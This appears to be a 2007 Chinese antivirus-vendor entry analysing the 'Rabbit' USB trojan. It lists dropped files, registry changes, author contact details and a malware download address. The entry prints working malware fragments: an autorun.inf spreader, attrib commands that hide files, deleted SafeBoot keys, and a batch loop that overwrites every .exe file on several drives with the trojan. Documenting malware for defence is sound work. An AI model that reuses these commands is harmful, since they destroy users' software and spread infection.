病毒别名： 处理时间：2007-04-09 威胁级别：★
中文名称： 病毒类型：木马 影响系统：Win 9x/ME,Win 2000/NT,Win XP,Win 2003
病毒行为:
该病毒是一个木马。该病毒会直接替换c盘program files和其他盘的exe文件。
1、生成的文件
%SystemRoot%system32JK.exe
%SystemRoot%system32loveRabbit.exe
%SystemRoot%system32Rabbit.exe
%SystemRoot%system32love.bat
%SystemRoot%system32msexch400.dll
%SystemRoot%system32loveRabbit.bat
%SystemRoot%msconfig.inf
%SystemRoot%msconfig1.inf
%C:%Rabbit.exe
%C:%AutoRun.inf
2、添加启动项
HKLMSOFTWAREMicrosoftActive SetupInstalled Components{4bf41072-b2b1-21c1-b5c1-0305f4155515}
HKLMSOFTWAREMicrosoftActive SetupInstalled Components{4bf41072-b2b1-21c1-b5c1-0305f4155515}
"StubPath" = "%SystemRoot%system32JK.exe..."
3、删除下列注册表信息
HKLMSYSTEMCurrentControlSetControlSafeBootMinimal{4D36E967-E325-11CE-BFC1-08002BE10318}
HKLMSYSTEMCurrentControlSetControlSafeBootNetwork{4D36E967-E325-11CE-BFC1-08002BE10318}
4、病毒作者留言
I LOVE Rabbit ,and you ? look:http://z82325777.diy.myrice.com/Rabbit.***
-----------------------------------------------
hello~
QQ:373717104
E-MAIL:z8232577@163.com
Welcome!
http://post.baidu.***/f?ct=&tn=baiduKeywordSearch&rn=&pn=&lm=&kw=%BA%DA%BF%CD&rs2=0&myselectvalue=1&word=%BA%DA%BF%CD&submit=%B0%D9%B6%C8%CB%D1%CB%F7&tb=on&tn=mozillacncb
baidu黑客吧
-------------------------------------------
5、在c，d，e，f，g盘里生成autorun启动
------------------------------------
[autorun]
Label=本地磁盘
Shellexecute=Rabbit.exe
------------------------------------
6、将该病毒生成文件设置为隐藏和系统属性
attrib +s +h %SystemRoot%system32msexch400.dll
attrib +s +h d:Rabbit.exe
attrib +s +h e:Rabbit.exe
attrib +s +h c:Rabbit.exe
attrib +s +h f:Rabbit.exe
attrib +s +h g:Rabbit.exe
attrib +s +h h:Rabbit.exe
attrib +s +h e:AutoRun.inf
attrib +s +h f:AutoRun.inf
attrib +s +h c:AutoRun.inf
attrib +s +h d:AutoRun.inf
attrib +s +h h:AutoRun.inf
attrib +s +h g:AutoRun.inf
7、该病毒会替换c盘program files和d，e，f，g盘中的exe文件
---------------------------------------------------------------------
FOR %%a in ( d: e: f: h: g: ) do dir /s/b %%a*.exe>>%SystemRoot%msconfig.inf
cd C:Program Files
dir *.exe /s /b >>%SystemRoot%msconfig1.inf
FOR /f "delims=" %%i in (%SystemRoot%msconfig.inf) do copy /y "%SystemRoot%system32Rabbit.exe" "%%i"
FOR /f "delims=" %%i in (%SystemRoot%msconfig1.inf) do copy /y "%SystemRoot%system32Rabbit.exe" "%%i"
-------------------------------------------------------------------------
8、该病毒通过u盘传播。
9、该病毒下载地址http://www.beecool.net/Rabbit.***